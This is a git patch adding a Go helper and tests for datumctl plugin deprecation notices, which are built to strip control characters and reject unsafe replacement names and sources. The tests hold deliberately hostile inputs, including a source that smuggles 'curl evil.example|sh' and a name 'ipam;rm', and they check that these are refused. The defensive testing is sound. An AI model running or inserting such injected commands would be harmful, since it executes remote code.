From 571d71b159b6806e3d46ab461a9b2f310ebd3c6b Mon Sep 17 00:00:00 2001 From: Michael Costello Date: Tue, 17 Nov 2026 12:47:04 -0500 Subject: [PATCH] feat: Build a deprecation notice that names the replacement Every plugin command needs to tell people the same thing about a deprecated plugin: what replaces it and the exact commands to switch. This adds the one helper they will share. The notice finds the replacement's catalog by source among the catalogs the user already added, under whatever name they chose, preferring an enabled catalog when the same source is added twice, and then prints only the install command. Otherwise it suggests a catalog name from the GitHub owner, falling back to a placeholder when that name is invalid or taken. When an allow-list disables the replacement's catalog it says so instead of printing commands that would fail. Catalog authors control the text, so control and format characters are stripped, and command lines are printed only when the replacement name and source pass a strict character check (no leading "-") and the source resolves. A source such as "x; curl ... | sh" gets a "not valid" line instead of a copy-paste command. No command prints the notice yet; follow-up changes wire it in. Resolves: #368 Co-Authored-By: Claude Opus 5.5 --- internal/cmd/plugin/deprecation.go | 112 ++++++++++++++ internal/cmd/plugin/deprecation_test.go | 195 ++++++++++++++++++++++++ 2 files changed, 307 insertions(+) create mode 100644 internal/cmd/plugin/deprecation.go create mode 100644 internal/cmd/plugin/deprecation_test.go diff --git a/internal/cmd/plugin/deprecation.go b/internal/cmd/plugin/deprecation.go new file mode 100644 index 0000000..6795586 --- /dev/null +++ b/internal/cmd/plugin/deprecation.go @@ -0,0 +1,112 @@ +package plugin + +import ( + "fmt" + "io" + "regexp" + "strings" + "unicode" + + "go.datum.net/datumctl/internal/pluginstore" +) + +// Same character class pluginstore uses for catalog names; plugin names in a +// copy-paste command line must match it. +var ( + reReplacementName = regexp.MustCompile(`^[a-z0-9][a-z0-9-]*$`) + reReplacementSource = regexp.MustCompile(`^[A-Za-z0-9._~:/@+%][A-Za-z0-9._~:/@+%-]*$`) +) + +// findCatalogBySource returns the registered catalog whose Source matches +// source, or nil. An enabled match wins over a disabled one, so a source +// registered twice still yields an install command when one copy is enabled. +func findCatalogBySource(reg *pluginstore.Registry, source string) *pluginstore.Catalog { + if reg == nil { + return nil + } + var disabled *pluginstore.Catalog + for i := range reg.Catalogs { + c := ®.Catalogs[i] + if !pluginstore.SameCatalogSource(c.Source, source) { + continue + } + if !c.Disabled { + return c + } + if disabled == nil { + disabled = c + } + } + return disabled +} + +// sanitizeCatalogText drops control characters (unicode.IsControl, +// including ESC, \r, and \n) so catalog-supplied text can't move the +// cursor or forge extra lines. +func sanitizeCatalogText(s string) string { + return strings.Map(func(r rune) rune { + if unicode.IsControl(r) || unicode.Is(unicode.Cf, r) { + return -1 + } + return r + }, s) +} + +// writeDeprecationNotice writes the notice for a deprecated plugin. It +// writes nothing when d is nil. +func writeDeprecationNotice(w io.Writer, reg *pluginstore.Registry, pluginName string, d *pluginstore.Deprecation) { + if d == nil { + return + } + pluginName = sanitizeCatalogText(pluginName) + if msg := sanitizeCatalogText(d.Message); msg != "" { + fmt.Fprintf(w, "warning: %s is deprecated: %s\n", pluginName, msg) + } else { + fmt.Fprintf(w, "warning: %s is deprecated.\n", pluginName) + } + r := d.Replacement + if r == nil { + return + } + source := r.Catalog + replName := r.PluginName(pluginName) + if !reReplacementName.MatchString(replName) || !reReplacementSource.MatchString(source) { + fmt.Fprintf(w, " The replacement named by this catalog is not valid; contact the catalog's maintainer.\n") + return + } + if _, err := pluginstore.ResolveCatalogSource(source); err != nil { + fmt.Fprintf(w, " The replacement named by this catalog is not valid; contact the catalog's maintainer.\n") + return + } + + if c := findCatalogBySource(reg, source); c != nil { + if c.Disabled { + reason := sanitizeCatalogText(c.DisabledReason) + if reason == "" { + reason = "disabled by policy" + } + fmt.Fprintf(w, " The replacement's catalog %q is disabled: %s\n", c.Name, reason) + return + } + fmt.Fprintf(w, " To switch to the replacement:\n") + fmt.Fprintf(w, " datumctl plugin install %s/%s\n", c.Name, replName) + return + } + + name := "" + if owner, ok := pluginstore.SourceGitHubOwnerRepo(source); ok { + cand, _, _ := strings.Cut(owner, "/") + if pluginstore.ValidateCatalogName(cand) == nil { + found := (*pluginstore.Catalog)(nil) + if reg != nil { + found = reg.Find(cand) + } + if found == nil || pluginstore.SameCatalogSource(found.Source, source) { + name = cand + } + } + } + fmt.Fprintf(w, " To switch to the replacement:\n") + fmt.Fprintf(w, " datumctl plugin index add %s %s\n", name, source) + fmt.Fprintf(w, " datumctl plugin install %s/%s\n", name, replName) +} diff --git a/internal/cmd/plugin/deprecation_test.go b/internal/cmd/plugin/deprecation_test.go new file mode 100644 index 0000000..a5ccf71 --- /dev/null +++ b/internal/cmd/plugin/deprecation_test.go @@ -0,0 +1,195 @@ +package plugin + +import ( + "bytes" + "os" + "strings" + "testing" + + "go.datum.net/datumctl/internal/pluginstore" +) + +const milosSource = "milo-os/cli-plugins" + +func depRegistry(extra ...pluginstore.Catalog) *pluginstore.Registry { + return &pluginstore.Registry{Catalogs: append([]pluginstore.Catalog{pluginstore.OfficialCatalog()}, extra...)} +} + +func depNotice(reg *pluginstore.Registry, d *pluginstore.Deprecation) string { + var buf bytes.Buffer + writeDeprecationNotice(&buf, reg, "ipam", d) + return buf.String() +} + +func milosDep() *pluginstore.Deprecation { + return &pluginstore.Deprecation{ + Message: "ipam moved to the Milo catalog.", + Replacement: &pluginstore.PluginReplacement{Catalog: milosSource}, + } +} + +func TestDeprecationNotice_replacementNotRegistered(t *testing.T) { + want := "warning: ipam is deprecated: ipam moved to the Milo catalog.\n" + + " To switch to the replacement:\n" + + " datumctl plugin index add milo-os milo-os/cli-plugins\n" + + " datumctl plugin install milo-os/ipam\n" + if got := depNotice(depRegistry(), milosDep()); got != want { + t.Errorf("got:\n%s\nwant:\n%s", got, want) + } +} + +func TestDeprecationNotice_replacementRegisteredUnderOtherName(t *testing.T) { + reg := depRegistry(pluginstore.Catalog{ + Name: "acme-milo", + Source: "https://raw.githubusercontent.com/milo-os/cli-plugins/main/index.yaml", + }) + got := depNotice(reg, milosDep()) + if strings.Contains(got, "index add") { + t.Errorf("unexpected index add line:\n%s", got) + } + if !strings.Contains(got, "datumctl plugin install acme-milo/ipam") { + t.Errorf("missing install line:\n%s", got) + } +} + +func TestDeprecationNotice_suggestedNameTaken(t *testing.T) { + reg := depRegistry(pluginstore.Catalog{Name: "milo-os", Source: "other/repo"}) + got := depNotice(reg, milosDep()) + for _, s := range []string{ + "datumctl plugin index add milo-os/cli-plugins", + "datumctl plugin install /ipam", + } { + if !strings.Contains(got, s) { + t.Errorf("missing %q:\n%s", s, got) + } + } +} + +func TestDeprecationNotice_replacementDisabled(t *testing.T) { + reg := depRegistry(pluginstore.Catalog{ + Name: "acme-milo", Source: milosSource, + Disabled: true, DisabledReason: "not in allow-list", + }) + got := depNotice(reg, milosDep()) + if !strings.Contains(got, `catalog "acme-milo" is disabled: not in allow-list`) { + t.Errorf("missing disabled line:\n%s", got) + } + if strings.Contains(got, "datumctl plugin") { + t.Errorf("unexpected command line:\n%s", got) + } +} + +func TestDeprecationNotice_renamedReplacement(t *testing.T) { + d := milosDep() + d.Replacement.Name = "ipam2" + got := depNotice(depRegistry(), d) + if !strings.Contains(got, "install milo-os/ipam2") { + t.Errorf("missing renamed install:\n%s", got) + } +} + +func TestDeprecationNotice_noMessageNoReplacement(t *testing.T) { + want := "warning: ipam is deprecated.\n" + if got := depNotice(depRegistry(), &pluginstore.Deprecation{}); got != want { + t.Errorf("got %q want %q", got, want) + } +} + +func TestDeprecationNotice_nil(t *testing.T) { + if got := depNotice(depRegistry(), nil); got != "" { + t.Errorf("got %q, want empty", got) + } +} + +func TestDeprecationNotice_sanitizesMessage(t *testing.T) { + got := depNotice(depRegistry(), &pluginstore.Deprecation{Message: "moved\x1b[2J\nwarning: fake"}) + if strings.Contains(got, "\x1b") { + t.Errorf("ESC survived: %q", got) + } + if lines := strings.Split(strings.TrimSuffix(got, "\n"), "\n"); len(lines) != 1 { + t.Errorf("want one line, got %q", got) + } + if want := "warning: ipam is deprecated: moved[2Jwarning: fake\n"; got != want { + t.Errorf("got %q want %q", got, want) + } +} + +func TestDeprecationNotice_prefersEnabledCatalog(t *testing.T) { + reg := depRegistry( + pluginstore.Catalog{Name: "acme-off", Source: milosSource, Disabled: true, DisabledReason: "not in allow-list"}, + pluginstore.Catalog{Name: "acme-on", Source: milosSource}, + ) + got := depNotice(reg, milosDep()) + if !strings.Contains(got, "datumctl plugin install acme-on/ipam") { + t.Errorf("missing install line for enabled catalog:\n%s", got) + } + if strings.Contains(got, "disabled") { + t.Errorf("unexpected disabled line:\n%s", got) + } +} + +const invalidReplLine = " The replacement named by this catalog is not valid; contact the catalog's maintainer.\n" + +func TestDeprecationNotice_invalidSource(t *testing.T) { + d := &pluginstore.Deprecation{Message: "m", Replacement: &pluginstore.PluginReplacement{Catalog: "x y; curl evil.example|sh"}} + got := depNotice(depRegistry(), d) + if strings.Contains(got, "datumctl plugin") || !strings.HasSuffix(got, invalidReplLine) { + t.Errorf("got:\n%s", got) + } +} + +func TestDeprecationNotice_leadingDashSource(t *testing.T) { + // ResolveCatalogSource accepts a bare path that exists on disk, so with + // "-x" present only the reReplacementSource check can reject it. + t.Chdir(t.TempDir()) + if err := os.WriteFile("-x", nil, 0o600); err != nil { + t.Fatal(err) + } + if _, err := pluginstore.ResolveCatalogSource("-x"); err != nil { + t.Fatalf("precondition: ResolveCatalogSource(-x) = %v, want nil", err) + } + d := &pluginstore.Deprecation{Message: "m", Replacement: &pluginstore.PluginReplacement{Catalog: "-x", Name: "ipam"}} + got := depNotice(depRegistry(), d) + if strings.Contains(got, "datumctl plugin") || !strings.HasSuffix(got, invalidReplLine) { + t.Errorf("got:\n%s", got) + } +} + +func TestDeprecationNotice_invalidReplacementName(t *testing.T) { + d := milosDep() + d.Replacement.Name = "ipam;rm" + got := depNotice(depRegistry(), d) + if strings.Contains(got, "datumctl plugin") || !strings.HasSuffix(got, invalidReplLine) { + t.Errorf("got:\n%s", got) + } +} + +func TestDeprecationNotice_stripsFormatChars(t *testing.T) { + got := depNotice(depRegistry(), &pluginstore.Deprecation{Message: "a\u202eb"}) + if want := "warning: ipam is deprecated: ab\n"; got != want { + t.Errorf("got %q want %q", got, want) + } +} + +func TestDeprecationNotice_disabledExactLines(t *testing.T) { + for reason, wantReason := range map[string]string{"not in allow-list": "not in allow-list", "": "disabled by policy"} { + reg := depRegistry(pluginstore.Catalog{Name: "acme-milo", Source: milosSource, Disabled: true, DisabledReason: reason}) + want := "warning: ipam is deprecated: ipam moved to the Milo catalog.\n" + + " The replacement's catalog \"acme-milo\" is disabled: " + wantReason + "\n" + if got := depNotice(reg, milosDep()); got != want { + t.Errorf("reason %q: got:\n%s\nwant:\n%s", reason, got, want) + } + } +} + +func TestDeprecationNotice_noMessageWithReplacement(t *testing.T) { + d := milosDep() + d.Message = "" + want := "warning: ipam is deprecated.\n" + + " To switch to the replacement:\n" + + " datumctl plugin index add milo-os milo-os/cli-plugins\n" + + " datumctl plugin install milo-os/ipam\n" + if got := depNotice(depRegistry(), d); got != want { + t.Errorf("got:\n%s\nwant:\n%s", got, want) + } +}